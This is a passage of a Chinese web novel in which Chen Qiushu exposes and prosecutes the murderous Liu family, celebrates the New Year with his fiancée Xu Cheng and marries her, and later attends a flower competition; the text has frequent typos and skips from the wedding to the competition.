陈秋树不知道怎么安慰,他也不知道许水秀的处境。只能牵着手,叫她别太担心。
两人没有走多远,碰巧遇见了来寻他的乞丐
其中一个凑近同耳语了几句。
陈秋树交代许橙先去绣坊晚上过去接她,
许橙看看他说“小心点”
…………
跟着两个乞丐走了一会,果然看见一个身穿破破烂烂黑色斗篷的女人在小巷子里左顾右盼。
三人借着墙角的遮挡,屏息凝神。
不一会走来一个衣着艳丽的女人,两人站在一起形成一个鲜明的对比。
玉莹不耐烦的从怀里掏出一袋银子递给柳青青。“你快些离开,若是被人看见,即便想走也走不了。”
柳青青颠了颠口袋,轻哼一声不满道:“你想得到好,说好的二百两,这点东西糊弄谁?”
“瞧不起我了?,当初你们做到那些事,吴连春可都知道,你以为你还能潇洒几天,可不要也变成我这幅肮脏模样”
柳青青知道要不出银子来了,只能说话刺她。
“你以为你逃得掉,”
“哈哈哈”
“等着瞧吧,你们一个个的都该死!”
看着癫狂宛若疯子的女人。
玉莹冷笑,“一个逃犯的话,谁又会相信,”说完不屑的转身离开
柳青青气的原地跺了跺脚,刚回过头就和陈秋树四目相对。
她瞳孔瞪大,面露惊恐,脚步不自觉的往后退,抵住了身后冰冷的墙壁。
“你……想做什么?”
陈秋树目光冰冷懒得同她废话,一脚踢在了她的胸口。直踢得她喘不上气。
两个乞丐扑过去堵嘴捆手。一个疯女人那里会是他们的对手。
柳青青胸口闷疼,腥甜的味道梗在喉间。看着押着自己的两个乞丐,她知道是被陈秋树跟踪算计了。
嘴被堵着说不出话,只能发出呜呜声,用怨毒的眼光看着陈秋树。那日张家被捕,她刚好在外逃过一劫,这些天东躲西藏躲避追兵。如同过街老鼠。
身无分文,找了玉莹几次要银子,没想到这婆娘扣得很,不给个痛快,好不容易找了几个混子帮她离开平阳县,没想到栽在陈秋树这里。好恨当初没直接弄死他。
陈秋树让两个乞丐把柳青青送去了衙门,自己远远的跟在后面,若是被人看见将这事传刘家耳朵里只怕他们等不及会动手。
帮衙门逮到逃犯可是功绩,两个乞丐得了官府的赏银,高兴得不得了。
陈秋树又给了每人二百文,让别把他的事情说出去。只说是碰巧抓到人。
两人无不答应,“公子您放心,坏人就该下大狱”
“……”
晚上去王婶家饭,陈秋树问起了吴连春的事情。连春婶他是知道的,以前是他家厨娘。真是昏了头了,既然忘记了这个人。
王婶跟谢家仆役并没有多少交情,想了许久才想起来偶然听见别人说起她是沿山县吴家村的的其他的就不知道了。
陈秋树点点,知道家在那就够足了,若是人已经离开,知道再多也别无他用。
29. 第 29 章
以免夜长梦多,第二天陈秋树就独自骑马去沿山县,吴家村是长山郡下面的一个小县城。
地如其名,沿山而建,一眼望去,全是大山,吴家村是正儿八经的山里村,一路上全是蜿蜒环山的小路,马车根本没有办法通过,从这儿去县城恐怕得走上四五个时辰。
村子里有二十几户人家,几乎全是茅草屋。
陈秋树找了个过路人询问吴连春家是那户
那人指了指,“那,最里面那家就是”
“多谢”,陈秋树顺着看去,看见村尾有一间小房子,他点点头牵着马往那边去。
茅草屋没有院子。门口种了一些冬白菜。一个两鬓斑白的老妇人正在收拾捡回来的树枝。
陈秋树试探的喊了句,“连春婶?”
不怪他一下没认出来,按理吴连春也才五十几,但这老妇佝着身子,怎么看都七十往上。也就是五官没变,他才认出来是同一个人。
老妇人身体抖了一下,手里的柴落地,她没有回头看来人是谁,低着头踉踉跄跄的往屋里走。沙哑着声音说:“你……你认错人了,我什么都不知道,你认错人了”
陈秋树被隔绝在门外。
他敲了敲门,无赖开口“连春婶,我是秋树?我不知道您家到底发生了什么事,但是我是来来告诉你……”
“你可能不知道,徐县令和张家都被抄了家,等着他们的是秋后问斩。”
“当年也许是我们陈家连累了您,但现在我会写一份状…………”
他还想接着喊话,身后就传来了一个孩子的激烈的喊声:“你说的可是是真的?狗县令真的要死了?”
说完朝天喊了一句“爹娘,儿子给你们报仇了”
陈秋树“…………”
这孩子八九岁,身上裹着好几层单衣,踩着布鞋,手上捧着几个鸟蛋,脸上和脚踝冻得通红。陈秋解下披风给他披上,回答道“当然是真的”
房门从里面打开,老妇人朝孩子招手“石头过来?”
门没关,陈秋树也跟着进了门。
老妇人红着眼眶“陈少爷,对不起,我当时确实知道。”
“但这胳膊始终拧不过大腿,我现在只想我孙子好好长大。”
陈秋树扶着要跪下的老人:“婶,这不能怪你,是他们黑了心肝。”
“可怜我那儿子儿媳,这群遭了报应的”吴连春连连落泪
当时他们给陈姥爷下药,吴连春知道的,但能如何?她只能假装不知道,偷偷跑回家。本以为这样就能保平安。
没成想,这些人隔三差五就来他家,搞得鸡犬不临。甚至三年前还害死了她儿子儿媳。天杀的。她去衙门报官,一听是告的是隔壁的县令和地方豪强,直接将她赶出了县城。吴连春一个老妇人,能有什么法子?
为了小孙子,只能带着回到村子里生活。这里偏远,那些人懒得过来,也过了段安生日子。
陈秋树没想到还有这样的事情气得牙痒痒,他们太嚣张。
让老人缓了空气,他才和吴连春说了一下现在的事态,陈秋树已经有了证据,希望到到时,她能作为证人出面,指证刘家。
不等老妇回答,小的那个先激动起来,“去,去,我奶肯定去!”
老妇人敲了一下他的头“大人说话小孩子插什么嘴!”
她望着陈秋树视死如归的说到,“我去,拼了这条老命我也要给为儿子要个公道,只是若是我有个好歹,还请陈少爷能看顾我这个小孙子一二,给口饭吃就行,他能干活”
陈秋树安慰,“春婶没你想的那么严重,放心吧。”
临走前给了几两银子给那小孩子,想着下次过来带几件棉衣给孩子穿。
没留在吴家没吃晚饭,一来要天黑之前下山,二来是人家一老一小吃的已经是很紧张。不想给人增加负担。
回到村子已经是半夜,陈秋树直接去了许橙那里。裹挟着冷气进屋,朝着许橙嘟嚷,“外面好冷,我的披风送给小孩了。”
许橙看他还能委屈,便知道事情是顺利解决了,给他倒了碗姜茶。“来,我特意给你熬的姜茶,喝了就暖和了,”
陈秋树心里受用,又委屈道“我也没有吃晚饭,想吃你做到鸡蛋面”
许橙像哄孩子一样说:“好,我给你煮”
两人在灶房里一人烧火一人做饭,
陈秋树和她说吴家的事。许橙吁吁不已。时不时的搭上一两句,静谧的夜里油灯柔和的光芒温暖又安心。
————
物证,人证。万事俱备只欠东风,新县令是大皇子的人,过来上任定是要收拾刘家,到时候他不介意往里面添柴加火。
隔了两天。两人又去了一趟刘府,这次见到了许水秀,看她安然无恙许橙提着的心落了大半。
许水秀没有带丫鬟,提议出去逛逛集市。
许橙急得要死,好不容易见到了人,还不赶紧跑?
耐着性子陪她她走了一会,逛着逛着就到了没人的地方。她立马拉着许水秀躲进了一处破房子让陈秋树在外面守门。
…………
许橙边把藏好钱袋拿出来塞进许水秀的怀里,边急急说道,“刘家即将大难临头,你别回去了,这是盘缠,带着快些离开平阳县,到外头去总有活路!”
许水秀晃了晃钱袋还不少,笑着说“全部家当?,你家那位同意?”
许橙见她没副正经样,气不打一处了。长话短说的告诉他事情原委。
“等新县令一到,就要收拾他家,你快些离开,以免受到牵连”
许水秀捂着嘴笑,低低的声音让许橙头皮发麻。
“你说的是真的吗?”
许橙着急:“当然是真的!你听我的,先出去躲躲,等事情过去了再回来,”
许水秀不笑了,她把荷包还给许橙“我的事情不用的你担心,回去过好你自己的日子就行了”
“我得回去了,不然刘老爷该急了”
许橙拉住她,不让走“你不能回去,我说的都是真的!你不信?”
许水秀回头看她“我当然信你”
许橙睁大眼睛:“那你怎么还……”
“我会没事的”,许水秀回头看她,眸色晦暗不明头也不回走了。
陈秋树在门口投来询问的目光,许橙摇摇头。之后她几次去找许水秀,都别拦在了门外。
年关将至,新县令终于在年前赶到平阳县,不少乡生豪强纷纷到城门口迎接,刘家自然也不例外。
过了两日,便有人上门叫陈秋树去衙门领赔偿金。
这是他第一次见到这个年轻的县令,郑杉。
陈秋树恭敬行礼“草民见过郑大人”
郑杉若有所思的看着他
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,意味深长的说“不必多礼,我知道你”
陈秋“我会没事的”“…………”
两人心知肚明。
事情很简单,对了一下信息,陈秋树就拿到了拢共有四千多两的银票。
之前知道赔偿会有一大笔钱,但没在手里,感觉不到什么。这会轻飘飘的纸如有万斤重。算不算得上是一夜暴富。
和他一起来领赔偿款的还有一对兄妹,大的看着七八岁,小的四五岁,两人怯生生的走到县令面前,哆哆嗦嗦的学着陈秋树的样子拜见县令。
郑杉愣了一下,让衙役领两个孩子把钱存到钱庄交代钱桩一月只让他们取一次,直至成年。走之前又让两个孩子今后有事可来衙门报官
——
陈秋树回去把银票拿给许橙看,,许橙瞪大了眼,“这么多?”
陈秋树笑了笑“明儿个咱们把一部分存去钱庄,以后你想买啥就买啥?”
听他这样说,许橙心里如吃了蜜一般甜蜜高兴,开始佩服自己挑男人的眼光。
这么多钱都给她看,许橙感动得热泪盈眶,应声道“好”
快过年了,一大早他就和许橙去逛早市,置办年货,虽然还没成亲,但并不妨碍两人一起过年。他们上无长辈下无小,又不怕村民的碎嘴子。
一路采买,瓜子花生糖果,窗花对联都买了不少,还好有马车,不然可提不动,后又去买了几匹布回去做衣服和鞋。陈秋树乐此不疲的跟着提东西。
此时大街小巷已经挂上了红灯笼,村子里也比往日热闹,大家忙着收拾洒扫,买肉买菜。处处无不彰显过年的气氛。
陈秋树去王婶家买了小半扇猪肉,回家去熏腊肉。
两人风风火火的装扮着家里,为新年做准备。
————
而这边郑县令也没让人失望,对刘家连连打压,年前就以归还侵占他人的土地让刘家大出血。虽然还彻底拿下,但也快了,不着急。
新年如约而至,过新年,着新衣,大家都换上了新做到衣裳
陈秋树看见别人家挂灯笼,也买了一对灯笼挂在门口,把对联窗花贴上,,家里就有了过年的喜庆。
年夜饭做得极为丰富,红烧狮子头,酱鸭,蒸鸡,白菜肉丸汤,腊肉炖笋干,笋干是许橙自己晒的,和腊肉一起炖,最是鲜美。
另外还有道凉拌菜,一盘饭后水果。
他们两个人可以吃上好几天。
吃饭时还多点了几盏灯,让屋子里更加亮堂。
晚饭喝的是甜米酒,举杯对饮,陈秋树语气温柔的说“新年快乐,许橙”
许橙:“新年快乐”
说完,两人碰杯,一饮而尽,许忽然橙放下筷子惊呼,“哎呀,忘记了,还没许愿!“
她娘说过,每年可以许一个愿望。
说完她闭上双眼,双手合十,虔诚祈祷“愿陈秋树身体康健,事事顺心,永远和我在一起”
任谁收到这样的祝福都不得不感动,
陈秋树问她“那我也可以许一个愿望吗?”
许橙点点头,当然可以
陈秋树学着她的样子,双手合十“愿陈秋树和许橙,迟暮尔尔,烟火年年,朝朝暮暮,岁岁平安”
两个人相视一笑,眼里有难以掩饰的绵绵情意,陈秋树想起,他似乎没有给过许橙一次正正经经的告白。
30. 过年
落在身上的目光太过专注,许橙没办法再继续好好吃饭。心想还要不要吃了?要不过去直接亲一下。
她羞涩的问:“怎么了?”
陈秋树笑以不减,认真的说,“许橙,我有没有告诉过你,我很喜欢你。”
许橙胸膛里的心跳如擂鼓。温和的声音还在娓娓道来
“还记得我们第一次见面吗?。你可能不知道,在那之前我就想着,活一天是一天,得过且过。不想明日,后来遇见了你,我当时在想……”
“……哇~,哪家孩子这么大的力气,我从王婶那里知道你的事情,我想怎么能还如一个女孩子坚强呢?”
“在我心里,从第一次见面你就是特别的,我会不自觉更多的关注你,你很坚强,很勇敢,也很聪明,”
“我想让你知道,在这个世界上……再没有比你更重要的人”
许橙眼里有泪光闪过,无数个念头在脑子里乱撞。急需做点什么来缓解自己内心的躁动。
起身跨坐这陈秋树腿上,两人面对面,鼻尖隔着几厘米的距离。
意有所指的问:“两情相悦的话,要不要做些什么呢?”
陈秋树轻笑出声,无法拒绝。双手环住了许橙的腰,把彼此的距离贴得更近
直到连呼吸都交织在一起。
……
对方深情的目光和炽热的吻,几乎把许橙淹没。她都有点等不及到成亲。
陈秋树差点控制不住自己,直到感觉身上人呼吸困难,才恋恋不舍退开。
两人距离很近,这样的姿势,许橙能够明显的感觉到他身体的变化。那双熟悉的眼眸,带着浓浓的情欲。
许橙红着脸“反正还有二个月成亲,要不……提前……”
声如蚊蝇,但夜里安静,陈秋树听到了,把头埋在她的颈间,声音低低的笑“傻丫头,你这是在考验男人的劣根性”
许橙脸红得能滴血“,那还不是你这样,不是……”
陈秋树看她羞愤的炸毛笑着说“没关系,等成亲,没有多久了”
两人抱了一会,呼吸平稳下来,才想起来吃年夜饭。
菜有些凉,陈秋树把闷鸡翻过来,碗底的鸡肉还带着热气,扯下一只鸡腿放进许橙的碗里。“这个味道很好,尝尝”
一顿饭吃到了半夜,今晚要守岁的。
许橙把瓜子点心放在桌子上,准备待会饿了当零嘴吃。
为了避免今晚打瞌睡,两人还特地买了一副五子棋。边聊天边直下棋,爱人就在身边,慢慢长夜也没有那样难熬。
一直到天边亮起鱼肚白,煮了两碗汤圆
吃完后才打着哈欠回房休息。
睡到下午二三点。
许橙先一步醒来,陈秋树脑袋靠在她颈间,。
抬手捋了捋他的头发。
嘴角不自觉的上扬,不安的心终于落下。
年初一县城有舞狮表演和杂技。
两人起床收拾好就要赶着马车去县城,陈秋树本来想和许橙骑马去,觉得很浪漫。
可是村子里的婶子们提前打了招呼,得顺便把她们捎上。
一车人满满当当,今天是王叔赶车,陈秋树把买来的糖果拿出来分给大家,顺便给大家拜个年。
王小妮和王冬冬长高了不少,变得白白净净,身上穿着喜庆的新衣服,嘴里嚼着糖果,像两只小仓鼠,一左一右的把许橙夹在中间,笑嘻嘻的,你一言我一语,就跟他们的许橙姐姐亲。
陈秋树“……”
吃着我的糖,还枪我的位置,陈秋树一怒之下怒了一下。只得坐在旁边看着他们玩,希望俩小的能看见自己不满的眼色,
然而两个小的是没眼力见的。玩得起劲。
倒是看出了点意思的一个伯娘打趣到“我看陈小子和橙姐儿,感情好呢?你看看,这哪哪都要挨在一起”
“我瞧着你俩是有福气的,般配得很,”
“可不就是,这刚定亲才多久,日子就越来越好了”
一个穿得花枝招展婶子翘着手比划“那什么,天作之合我看这橙姐儿有旺夫相”
“就是,就是,看看陈小子长得多俊,咱们姐儿也出落得漂亮”
“就是,就是”
说完也大家哈哈笑起来。
自从知道衙门会给陈家赔偿款后,两人的那些闲言碎语就忽然销声匿迹。大家当面儿都捡着好听的说。
对此陈秋树还挺欣慰,反正现在他有钱的事情瞒也瞒不了。谁又喜欢一出门就被人议论呢?。
他真心的对着大家道谢“那小子就多谢婶子们吉言”
县城里热闹非凡,下了马车大家就各自去玩,王小妮姐弟还想跟着许橙。好在王贵婶是个会来事的,拉着他们走了。
陈秋树迫不及待的拉上许橙的手,冠冕堂皇的说“人太多,一会被走散了。”
许橙也想这样亲近,自然而然的挽上了他的胳膊,抬头露出一个比万千灯火还要灿烂的笑容。晃得陈秋树愣神了几秒。
前面传来欢快的锣鼓声,陈秋树牵着她挤入人群,
两只威风凛凛的大红狮子栩栩如生,摇头摆尾,嬉戏玩耍,舞狮人的技艺高超配合默契,两只狮子高高跃起,好似跨越山川大河。
人群中不时发出阵阵喝彩与掌声。
许橙也更着赞叹,这还是她第一次看见舞狮子。忍不住拍手叫好。
陈秋树也是第一次直观的看见,以前都是网上冲浪看到过,确实不如亲眼目睹来的震撼。
他从口袋里掏了一把铜钱给许橙。
许橙意会,把铜板撒向狮子头,发出叮叮的脆响。
等看够了狮子,两人又去看杂技,油锅里挠东西,胸口碎大石,刀山火海。这些都让许橙感到新鲜。
陈秋树感觉得到她很开心,带着把这些玩的,吃的,看的,全都过了一遍。一直玩到大半夜。还在摊子上买了一盏花灯。
有一起过来的婶子找到两人问来要不要回去?
最后一群人满载而归,一路上说着今晚的所见所闻,好不热闹。
————
年初二王婶家叫过去吃饭,他家今年攒了些银子,把房屋修缮了一下,比起以前宽敞了不少。
王旭这会儿也在家里。
陈秋树分别给了三个孩子压岁钱。
饭桌上,王婶看着他和许橙举案齐眉,其乐融融的模样。感到欣慰,都是两个好孩子。
又看看自家儿子十七了还跟个毛头小子一样。便开口问“旭哥儿,有没有心仪的姑娘?,咱家现条件好了,要是有?,娘也好替你打听打听,提前定下来。”
这话一出不光是王旭无措的红了脸,陈秋树也表示很惊讶,他目光上下打量王旭,怎么
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看都是个孩子。
王旭“啊……我,我没有”
“你看看你秋树哥也比你大不了几岁,这还有两月就成亲了,还有杨婆子家虎子跟你一样大的,孩子都会叫爹了。”
陈秋树和许橙眼观鼻鼻观心。不发表意见
王旭耳朵红红,埋头干饭。
王婶看自己儿子一副没出息样儿,也没了兴致。转头问陈秋树成亲的事宜,陈秋树爹娘去得早,她得多看着点,
两人讨论了一会席面的样式
陈秋树说“按照村子里的规矩来就好”
王婶:“到时后叫你王树去隔壁村王屠子那儿买头猪回来,他那便宜,菜你们那点也不够,我去村子再里买一些。”
说完她又叮嘱陈秋树:“你记得早些去定下几桶鱼,再去买几坛子酒……”
陈秋树给两人敬了杯酒“劳烦婶子费心”
“这是哪里话,这事儿你俩懂啥,”说完又笑着看向两人。
…………
从王婶回来,两人都有总飘飘然的既视感,马上就要成亲了!
初三初四是两个大晴天,冬天的太阳最温暖好晒,陈秋树和许橙又没什么亲戚走。
便躺在院子的瑶椅里嗑瓜子晒太阳,享受这难得的静谧时光。
以前他还疑惑过他家孤儿寡母,咋没亲戚图他家财产,现在想必他们只怕是知道些其中的猫腻,这才断得如此干净。
一直到年初八,许橙被绣坊叫去上工。
陈秋树一个人闲着反而觉得哪哪都不对劲。
便拿着锄头去了地里,他还挺新鲜,好久都没这样下过地了。
今天主要是去把那些枯萎的矛草铲下来烧掉,不然等开春发了芽,想处理就没那么容易了,若是懒一点,指不定就成了茅草林。
大致查看了一下葡萄的发芽情况,还不错,百分之九十的枝条上都长了小小的芽包,年前刚施肥,现在不急,先除草才是正经事。
————
许橙秀活好,绣的是最精致的部分,刚绣好一朵水红的牡丹花,拿着想要仔细欣赏一番,外面就说有人找她。
她还以为是陈秋树,高高兴兴的跑出去。
没想到是刘府的仆役。她在许水秀身边见过。
这人匆匆忙忙上前搭了一句话就离开了。
之后许橙一直心神不宁,那人说,水秀让她明日午时带上陈秋树到江边南亭小榭见一面,出什么事了吗?
她瑶了瑶头,还能见面就不是出事。好在还有半个时辰就下工了,她努力人自己静下心来做手上的事。
……
第二天中午,许橙焦急的在亭子来转来转去,一会又往亭子外看一眼。迟迟不见人到来
陈秋树给她倒了杯茶,“不要急,时辰还早。”
又过了一会,许水秀终于来了。
许橙一见到她先是惊了一跳,不敢置信。从座位上跳起来朝她跑去,又不敢靠得太近,怕会碰到她脸上的伤口。
许橙欲言又止,张了张嘴半响才发出声音“他打你了?”
许水秀看了看她,用手粗鲁的摸掉她的眼泪。
“哭什么?这不是还没死”
许橙拍开她的手:“说什么傻话!”
陈秋树没有立场多问,只是在心里狠狠的把刘家唾弃了一番,后面又觉得简直是浪费口水。
31. 成亲
三人在桌前坐下,许水秀若有所思的看了陈秋树一眼。
从怀里拿出了一跌厚厚的书册。“看看吧!对你有用”
……
这本书不似书铺里装订的书集规整,倒是像是自己装钉上去的,书页有的已经泛黄,明显不是一个时间段写的。
陈秋树翻了几页,瞳孔微震,翻到七八页时看到了长溪村陈家。这竟是一本记录谋害他人的书册
数了数,大大小小有十几户人家被这贼人所害。
甚至还有十几个姑娘小子被活活虐死,这老变态还在后面写上了自己的个人想法。
陈秋树感觉生理不适。有种想呕吐的眩晕感。
许橙急忙给他喂茶顺气。
陈秋树暗骂一句“该死的老畜生”
“可不就是吗?”许水秀附和道。
“我知道你去了沿山县,这东西我可以给你,但是我要二百万”
“衙门赔偿给你很多钱,我要得不多”她指了指陈秋树手上的册子,“这是老东西自己写来给自己看着享乐的,上面是他的笔记和印章,我相信它会变成刀刃架在刘家的脖子上。”
陈秋树不置可否的点点头,这确实是足有力的证据。
听她要钱,许橙把钱袋递给她,“这些全部给你,”她一直把钱袋放在身上,就是预防许水秀什么时候想开,要走的时候给她。
“好”陈秋树答应,不说这个证据,只因为她是许橙的妹妹
许水秀笑了,她把许橙的荷包推回去“你这个太少了!”
“我今天就要离开平阳县走,晚上回村去你家里拿,可以吗?”
既然答应了,陈秋树自然不会拖着不给,毕竟他也不想耽搁许水秀离开。
郑县令不知道什么时候就会收拾刘家,当然是走得越早越好。
————
夜幕降临,陈家大门终于被敲响,许橙起身就想开门,陈秋树急忙拉住了她,“你先在屋子里,等会再出来。”
他先出去看看是不是安全。
门外,许水秀一身黑色暗纹斗篷,身边站着个身型修长的女人,长刀別在腰间,束着高马尾的,一身黑色劲装干净利落,陈秋树直觉这人很危险。
他还想伸头往外瞟一眼看看外头的情况。
就见女人开口说道“不用看,没人跟着!”语气冷冰冰。
许水秀和她说“你等我一下,我进去和他们说几句话?”
女人点点头,斜靠在了门框上。
晚风扫起地上的落叶,许橙为离别而感伤。她问“今后有什么打算”
许水秀这次没有同她打嘴炮,平静的说“我要去北方,今后有缘的话我们会再见面。”
许橙刚刚一直看门口,也看见了门口的陌生的女人,侧了侧头问“和她一起……?”
许水秀脸上带了一丝笑意点点头“恩,你放心,她是好人……”
“我这样的人,你有什么好担心的?”
许橙知道她必定是要离开,有个人相互照顾也好,只是难免担心。
许水秀看了看陈秋树,意示他赶紧拿钱。
陈秋树不磨叽,他今天就去钱庄换了银子,直接掏出了两个钱袋递给她,说了句:“路上保重。”
许水秀点点头“提前祝你们百年好合”
许橙和她抱了一下,嘱咐道“好好照顾自己,保重”
许水秀走到门边和门口的人低语了几句。
女人微微蹲下身把许水秀背在背上,两人以极快的速度消失在了夜色里。
陈秋树和许橙在门口站了许久,直到身体感觉到冷才回了屋子。
————
许水秀离开没几日,玉县承就来了家里,陈秋树丢下锄头从地里回来时心中就有了一二。
果不其然,玉县承直接了当的开口“咱们县令说了,有冤的生冤,有仇的报仇,衙门会替百姓做主”
既是如此,恐怕这时候的京城里的事情已经解决了。
他立刻去沿山县接了吴连春和他孙子过来。连夜写了两份状纸。
…………
过了年县城里没了什么新鲜事,这一下子忽然听见衙门有人击鼓状告刘家。大家都一窝蜂的把衙门围的水泄不通。
陈秋树跪在公堂上,振振有词的讲述刘家的恶行。
吴婶更上声泪俱下,讲这奸人是如何杀害她儿子儿媳,真是闻者伤心,听者落泪。
县太爷把状纸和证物拍在桌上,厉声喝道
“证据确凿,刘大海你可认罪?”
刘大海额角冒出细汗,此时也做不得他想,只能硬着头皮狡辩。
“欲加之罪何患无辞,我刘家清清白白,便对得起苍天。”
“你个毛头小子,老夫和你无冤无仇,你为何要陷害于我”
“……”
“啪————”惊堂木敲击桌面发出令人心颤的声响。
郑杉目光犀利,把那本充满罪孽的书册扔在地上
“大胆。你刘大海的籍印还能作假?。”
刘大海手抖了一下,不敢去捡地上的东西,
心里恨不得把许水秀打死才好。这个吃里扒外的东西。
还准备开口反驳。说有人造假
门外就传来了衙役的传报声。
“大人,刘家后院的枯井里捞出六具女尸,四具男尸”
如石破惊天,众人哗然。
郑杉震怒,“来人,把刘大海压进大牢,”
“你们敢,你们知道我是谁吗,我表弟可是贵妃娘娘的人”
郑杉勾唇冷笑,“是吗?你的好表弟现在自身难保”
闻言刘大海瘫软在地,任由官差把他拖走。一切都完了……
郑杉带人围抄了刘府。井里捞上来的尸体摆在院子里,有的是刘大海的小妾,有的是丫鬟,无一不是被凌虐至死。
闻讯而来的父母跪在女儿身边哭得肝肠寸断。
“我苦命的女儿,”
她家穷孩子多,原以为是进了好人家当丫鬟就能吃饱穿暖,没想到竟是没了命。
院子里哭声一片,令人揪心。
郑杉让衙役拿了些银子给他们,让他们把人带回去好好安葬。
————
刘家残害他人性命,证据确凿,秋后问斩,一起的还有他的三个好儿子。
其他妇孺孩子全部流放三千里。
一路上不断的有群众朝他们扔臭鸡蛋和烂菜叶。甚至有人捡起了路边的石头丢向囚车。
谁能想到冠冕堂皇的刘姥爷,竟然是干出如此禽兽不如之事。
陈秋树没有去看刘家的下场。
他和许橙一起到了爹娘的墓前。地上摆了些糖果,菜和两杯
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酒。
陈秋树神色闪了杉,开口说:“爹,娘,如今害你们的让都已经自食恶果,请你们安息,”
他目光转向许橙,微微一笑“,现在儿子身体康健,还有一个月就成亲,这便是你们将来的儿媳妇”
许橙:“叔,婶,你们放心,今后我会把秋树哥照顾好”
两人齐齐朝着墓碑磕了个头。
————
又是新一年杨春三月,万物复苏,刘家的事情渐渐淡去,日子又恢复了春耕的忙碌。
许橙一早就去了绣坊,橙秋树叫来王旭帮忙,两人一起把去年沤的肥担到了地里。
葡萄藤已经向上生长了三四片绿叶。这时候是猛涨期,施肥就得跟上,马虎不得。
嫁接的桃树也发了芽,因为是成年树的树根,没那么娇弱,他直接去早市买了几桶死鱼,埋在树底下,这是纯天然的有机肥。
忙了两天,才勉强弄完,晚饭都是在许橙那吃,他回去的时候,许橙正好把晚饭端上桌
“回来了?”
陈秋树往椅子上靠,顺手把路过的许橙捞进怀里,长舒一口气,“恩,终于弄完,这几天可真是累死我了!”
许橙挣扎着想从他身上起来,锅里还烧着菜呢?
没想到,手背忽然被温柔的吻了一下。许橙低头去看他。
陈秋树一副浪荡公子模样把她的手放在唇边轻吻,目光沉沉的回视。
“还有几天成亲,紧张吗?”
紧张吗?有点,但是并不彷徨,比起父母之命,媒妁之言,许橙觉得自己很是幸运。
她摇摇头,低头在陈秋树额头飞快亲了一下
“我很期待和你一起生活。”
两人相视一笑。
…………
陈秋树没有长辈,成亲自然要比别人忙上一些,,先去木匠那里把打好的家具拉回来,扯来红绸挂在房梁上,整个屋子焕然一新。
王婶又给他理了个清单。去县城照着买就是,从红枣花生,点心糖食,到平日用品,衣服绸缎。只要是能想到的,成秋树都想买下来。可谓是忙得脚不沾地。
几天很快过去迎来了陈秋树的良辰吉日,他起了个大早。穿上大红色的婚服,戴上发冠,侧脸如玉,眉目间流露出无尽喜悦。
在门口帮忙的人见他出来,都惊了一下“哎呦,我的娘哎,我就说这陈小子长得俊。”
陈秋树从人群中间穿过,一一道谢,“这儿还得辛苦大家帮忙。”
王婶拿了朵大红花过来给他挂在胸前,陈秋树又交代几句让王婶多看顾着点,这才放心的骑上马和迎亲队伍一起敲敲打打的出了门。
马脖子上也寄了朵大红花,昂首走在路上,陈秋树红衣黑发,五官俊郎,如同清雅矜贵的世家公子。
迎亲队伍很快就来到了许橙家门前,
王春雀拿着手帕在空中甩了一下,唱到,“新郎官来勒~~。”
一群姑娘妇人瞬间兴奋起来,也不聚众聊天,各儿各的往迎亲队伍瞧去。
许橙坐在床沿,既激动又紧张,今天是大喜的日子,脸上扑了薄薄的胭脂,让精致的五官更家秀丽,红色的床帐好像泛着光韵。衬得她的脸娇艳欲滴,
杨婶拍拍她的手,笑说“来了,来了,快盖上”
柔软的鸳鸯红盖遮挡住了视线,许橙慢慢放松下来。
33. 买地
女子身穿一身绿色劲衣,腰间束着腰封有种别样的帅气,利落翻身下马,身后有马车跟来。
“还好赶上了?”
台上郑杉的眼睛都看直了,礼貌的问“这位姑娘也是参加比赛的?”
“见过郑大人,”一见郑杉,便知这平阳县的新上认县令。
“不必多礼,还请姑娘把花搬出来,让大伙瞧上一瞧?”郑杉语气轻柔,感觉自己要恋爱了。
女子点点头,让人把花从马车是搬了下来。
任在场众人再是见多识广,也不由屏住呼吸,睁大了眼睛。
是一株很特别的爬墙月季,花朵开得茂盛,震惊于这株月季开着好几种颜色的花,蓝,,粉,白,紫,几个颜色配在一起如梦如幻。
“这是什么品种,从未听说过?”
台下的书生忍不住想要吟诗一首。
这女子不是别人,正是清河郡,丁香园的柳丁香。
陈秋树一看这花便知道是嫁接来的。心想不愧是养花专业户,速度就是快。ll
柳丁香自信满满的在台上走了一圈,“各位瞧着怎么样?世间仅此一株。”
大家纷纷投票,没有意外,花落她家。
郑杉如同自己赢得比赛一样高兴,高高兴兴对着台下说:“恭喜这位姑娘获得第一名,那在下的这花……便赠送给姑娘了……”
柳丁香没看见县令大人暗送秋波的眼神,自顾自的把此行目的说了出来。
“大家也看到了我这花的特别之处,若是喜欢,便可去清河郡,丁香园。”
“这花我有很多,可卖与大家,除了花,我们还有用此花做的有香露,香膏,香水,皆是在外买不到的好东西”
陈秋树“…………”
郑杉“…………”
台下的两个丫鬟,提这个小袋子开始给在场的人发放,一人一个,人人有份。
许橙自然也得了一盒,包装精致,拇指大一盒。
她打开盖子嗅了一下,宛若真的有鲜花在鼻间盛开“好香,你闻闻”
陈秋树就她的手闻了一下,“确实好闻,一种天然的香味”比得上现代的大牌香水。
他低头笑咪咪在许橙耳边说,“晚上我帮你涂点在身上”
许橙一下就红了脸,心虚的看看四周。
——
赢家出来,比赛就结束了,两人也懒得继续逛,毕竟天天都在这儿,想看过来就是。
正当准备去选个食肆吃晚饭,被柳丁香的小丫鬟拦住了去路。
“贵人请留步,我家姑娘在玉友楼订了桌酒席,还请二位贵人上楼一叙,”
“?”
玉友楼陈秋树真是好久没去了,一进门,相熟的小二热络的迎了上来。
吃饭的人太多,连吴掌柜都出来帮忙,得知陈秋树与人订了包间,还送了他们一盘新推出的,“百花齐放”。
他还以为是什么稀奇古怪的东西,没到就是围了一圈花瓣的酒酿鸡。不过味道很好就是了。
柳丁香倒了三杯果酒,“我敬二位一杯,陈先生给的那扦插方法,可帮了我们丁香园是大忙”
丁香园的花匠多,照着陈秋树的法子试了一批藤蔓花,没想到收获那么大,此时她的园子里便如这菜名一样,百花齐放。
甚至有些长势很慢的品种,用了这个法子也开了好几茬。
陈秋树客气了一下“举手之劳,无需多谢,”
柳丁香豪爽的一口喝掉杯子里的酒。
“这是我欠你们的人情,二位若是有什么也帮忙的,尽管开口,我若能做到的,定不会推托”
既然都这样说了,那可就有事了,陈秋树想了想。“陈某还正好有件小事想请问姑娘”
柳丁香点点头让他说说看。
“不知姑娘可否认识天南地北走商的商队,”陈秋树一直想找个商队,托人买些种子,一直没有寻摸到合适的,没想到瞌睡来了送枕头的这种好事落到了他头上。丁香园那么多奇花异草,自不可能是自己亲自去寻的。
